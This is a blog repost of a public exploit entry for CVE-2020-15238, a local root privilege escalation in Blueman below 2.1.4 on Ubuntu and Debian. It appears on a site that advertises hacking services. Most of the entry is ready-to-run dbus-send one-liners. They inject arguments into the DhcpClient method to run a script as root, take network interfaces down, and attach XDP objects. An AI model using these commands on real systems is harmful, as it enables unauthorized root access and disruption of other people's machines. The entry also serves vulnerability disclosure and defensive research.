Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86384709

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Local Privilege Escalation in Blueman < 2.1.4
# Date: 2020-10-27
# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)
# Vendor Homepage: https://github.com/blueman-project/blueman
# Software Link: https://github.com/blueman-project/blueman
# Version: < 2.1.4
# Tested on: Ubuntu 20.04
# CVE: CVE-2020-15238
#
# By default installed on Ubuntu 16.04 - 20.10 and
# Debian 9 - 11
#
# Local root exploit when dhcpcd is used instead of dhclient
# 
# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html
#
# 
# The DhcpClient method of the d-bus interface to blueman-mechanism 
# is prone to an argument injection vulnerability. 
# On systems where the isc-dhcp-client package is removed 
# and the dhcpcd package installed, this leads to Local 
# Privilege Escalation to root from any unprivileged user. 
# See attached python script for a working exploit. Or use 
# this oneliner with a shellscript "/tmp/eye":
 
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/eye"

# This happens because the argument is not sanitized before 
# being used as an argument to dhcpcd.
# 
# Also on default installations with isc-dhcp-client installed, 
# this can lead to DoS attacks by bringing any interface down 
# as follows:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"

# Or allows users to attach XDP objects to an interface:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 name a"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"a xdp o /tmp/o"

# This both happens because the argument is passed to "ip link" 
# unsanitized.